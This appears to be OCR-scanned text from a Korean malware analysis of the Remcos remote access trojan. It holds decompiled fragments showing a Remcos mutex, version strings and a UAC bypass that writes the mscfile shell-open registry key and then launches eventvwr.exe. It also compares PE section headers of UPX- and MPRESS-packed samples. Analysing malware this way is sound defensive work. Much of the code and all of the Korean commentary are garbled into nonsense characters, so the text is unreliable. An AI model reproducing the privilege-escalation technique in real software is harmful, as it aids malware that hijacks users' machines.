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Ltext: 88480963 loc_4@C9B3: ; CODE XREF: .text:@8848C9CElj
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<title=</titles
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pen lutexa(@xlesessuy, ©, "Remcos_Mutex_Inj");

L pa

if ( w12 )
1
WaitForsingleObject(vl2, @xEAGBU);
CloseHandle(vl3);

}
At 45, 7|2, UZ Y 25, 22 L 0j0|2 =2, SRR LF, MAIZ AT HE U AA Hof
S| it ob B9I7} IHs Bt

sub_418BOE(
HKEY _CURRENT_USER,
L"software\\Classes\\mscfilel\shell\ \open\\command™ ,
EvalueName,

wll,
2u);
suh 413B5E( "eventvwr. exe™ ) ;
/1 = sub 4@1EEB(v12);
if

}"-"‘-Ill

ShellExecutew(®, L"open”, vl, &ValueMame, &ValueName, @) > @8x28 )
ExitProcess(@);
2 MZE0|AM AFE2E Remcos2| H{E 2 “3.2.0 Pro” O|Ct M 1 2t Fl 2 XY 2 rdata Y A0 St=EZE =

A2, ali S &M 2 2021.07.30 LAt 2 HE|=E F|4 B HM 0|t

o

strepy(v?, " * Remcos v");
va o= Bul7;

while { *++v2 )

strcpy( 9, "3.2.8 Pro™);

y = &vl17;

whlle ( *+vll )

2|2 R &l Remcos ME S0I M= LI 5rU0| £7480l 20| 50l AR B0l=|ct UPXS}
o
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= remcos.exe.nopack = Una.exe.com.upx - nslookup.exe.mpress
-~ IMAGE_DOS_HEADER - IMAGE_DOS_HEADER - IMAGE_DOS_HEADER
- IMAGE_DEBUG_TYPE_ --MS-DOS Stub Program - MS-DOS Stub Program
- MS-DOS Stub Program = IMAGE_NT_HEADERS - IMAGE_NT_HEADERS
- IMAGE_NT_HEADERS - IMAGE_SECTION_HEADER UPX0 - IMAGE_SECTION_HEADER MPRESS1
- IMAGE_SECTION_HEADER text - IMAGE_SECTION_HEADER UPX1 - IMAGE_SECTION_HEADER MPRESS2
-~ IMAGE_SECTION_HEADER .rdata - IMAGE_SECTION_HEADER. _rsrc - IMAGE_SECTION_HEADER. _rsrc
- IMAGE_SECTION_HEADER .data - SECTION UPX0 -.SECTION MPRESS1
-~ IMAGE_SECTION_HEADER tls - SECTION UPX1 - SECTION .MPRESS2
- IMAGE_SECTION_HEADER _gfids - SECTION rsrc - SECTION _rsrc

- IMAGE_SECTION_HEADER _rsrc
- IMAGE_SECTION_HEADER .reloc
- SECTION text

- SECTION .rdata

- SECTION _data

- SECTION tls

- SECTION _gfids

- SECTION _rsrc

- SECTION _reloc

el
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